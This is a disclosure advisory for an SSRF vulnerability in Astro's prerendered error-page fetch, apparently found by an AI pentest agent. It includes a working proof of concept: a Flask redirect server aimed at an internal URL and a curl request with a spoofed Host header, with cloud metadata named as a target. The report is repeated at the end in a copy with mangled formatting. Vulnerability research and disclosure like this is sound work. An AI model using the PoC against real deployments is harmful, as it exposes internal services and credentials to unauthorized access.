As part of our research on improving our AI pentest, we have uncovered the following issue in the Astro framework. We've tided up the report, but you can also find the original agent finding at the bottom of this report.
Summary
Server-Side Rendered pages that return an error with a prerendered custom error page (eg. 404.astro or 500.astro) are vulnerable to SSRF. If the Host: header is changed to an attacker's server, it will be fetched on /500.html and they can redirect this to any internal URL to read the response body through the first request.
Details
The following line of code fetches statusURL and returns the response back to the client:
|
const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath); |
statusURL comes from this.baseWithoutTrailingSlash, which is built from the Host: header. prerenderedErrorPageFetch() is just fetch(), and follows redirects. This makes it possible for an attacker to set the Host: header to their server (eg. Host: attacker.tld), and if the server still receives the request without normalization, Astro will now fetch http://attacker.tld/500.html.
The attacker can then redirect this request to http://localhost:8000/ssrf.txt, for example, to fetch any locally listening service. The response code is not checked, because as the comment in the code explains, this fetch may give a 200 OK. The body and headers are returned back to the attacker.
Looking at the vulnerable code, the way to reach this is if the renderError() function is called (error response during SSR) and the error page is prerendered (custom 500.astro error page). The PoC below shows how a basic project with these requirements can be set up.
Note: Another common vulnerable pattern for 404.astro we saw is:
return new Response(null, {status: 404});
Also, it does not matter what allowedDomains is set to, since it only checks the X-Forwarded-Host: header.
|
protected matchesAllowedDomains(forwardedHost: string, protocol?: string): boolean { |
PoC
- Create a new empty project
npm create astro@latest poc -- --template minimal --install --no-git --yes
- Create
poc/src/pages/error.astro which throws an error with SSR:
---
export const prerender = false;
throw new Error("Test")
---
- Create
poc/src/pages/500.astro with any content like:
<p>500 Internal Server Error</p>
- Build and run the app
cd poc
npx astro add node --yes
npm run build && npm run preview
- Set up an "internal server" which we will SSRF to. Create a file called
ssrf.txt and host it locally on http://localhost:8000:
cd $(mktemp -d)
echo "SECRET CONTENT" > ssrf.txt
python3 -m http.server
- Set up attacker's server with exploit code and run it, so that its server becomes available on http://localhost:5000:
# pip install Flask
from flask import Flask, redirect
app = Flask(__name__)
@app.route("/500.html")
def exploit():
return redirect("http://127.0.0.1:8000/ssrf.txt")
if __name__ == "__main__":
app.run()
- Send the following request to the server, and notice the 500 error returns "SECRET CONTENT".
$ curl -i http://localhost:4321/error -H 'Host: localhost:5000'
HTTP/1.1 500 OK
content-type: text/plain
date: Tue, 03 Feb 2026 09:51:28 GMT
last-modified: Tue, 03 Feb 2026 09:51:09 GMT
server: SimpleHTTP/0.6 Python/3.12.3
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
SECRET CONTENT
Impact
An attacker who can access the application without Host: header validation (eg. through finding the origin IP behind a proxy, or just by default) can fetch their own server to redirect to any internal IP. With this they can fetch cloud metadata IPs and interact with services in the internal network or localhost.
For this to be vulnerable, a common feature needs to be used, with direct access to the server (no proxies).
Original Agent Report
As part of our research on improving our AI pentest, we have uncovered the following issue in the Astro framework. We've tided up the report, but you can also find the original agent finding at the bottom of this report.
Summary
Server-Side Rendered pages that return an error with a prerendered custom error page (eg.
404.astroor500.astro) are vulnerable to SSRF. If theHost:header is changed to an attacker's server, it will be fetched on/500.htmland they can redirect this to any internal URL to read the response body through the first request.Details
The following line of code fetches
statusURLand returns the response back to the client:astro/packages/astro/src/core/app/base.ts
Line 534 in bf0b4bf
statusURLcomes fromthis.baseWithoutTrailingSlash, which is built from theHost:header.prerenderedErrorPageFetch()is justfetch(), and follows redirects. This makes it possible for an attacker to set theHost:header to their server (eg.Host: attacker.tld), and if the server still receives the request without normalization, Astro will now fetchhttp://attacker.tld/500.html.The attacker can then redirect this request to http://localhost:8000/ssrf.txt, for example, to fetch any locally listening service. The response code is not checked, because as the comment in the code explains, this fetch may give a 200 OK. The body and headers are returned back to the attacker.
Looking at the vulnerable code, the way to reach this is if the
renderError()function is called (error response during SSR) and the error page is prerendered (custom500.astroerror page). The PoC below shows how a basic project with these requirements can be set up.Note: Another common vulnerable pattern for
404.astrowe saw is:Also, it does not matter what
allowedDomainsis set to, since it only checks theX-Forwarded-Host:header.astro/packages/astro/src/core/app/base.ts
Line 146 in 9e16d63
PoC
poc/src/pages/error.astrowhich throws an error with SSR:poc/src/pages/500.astrowith any content like:ssrf.txtand host it locally on http://localhost:8000:$ curl -i http://localhost:4321/error -H 'Host: localhost:5000' HTTP/1.1 500 OK content-type: text/plain date: Tue, 03 Feb 2026 09:51:28 GMT last-modified: Tue, 03 Feb 2026 09:51:09 GMT server: SimpleHTTP/0.6 Python/3.12.3 Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked SECRET CONTENTImpact
An attacker who can access the application without
Host:header validation (eg. through finding the origin IP behind a proxy, or just by default) can fetch their own server to redirect to any internal IP. With this they can fetch cloud metadata IPs and interact with services in the internal network or localhost.For this to be vulnerable, a common feature needs to be used, with direct access to the server (no proxies).
Original Agent Report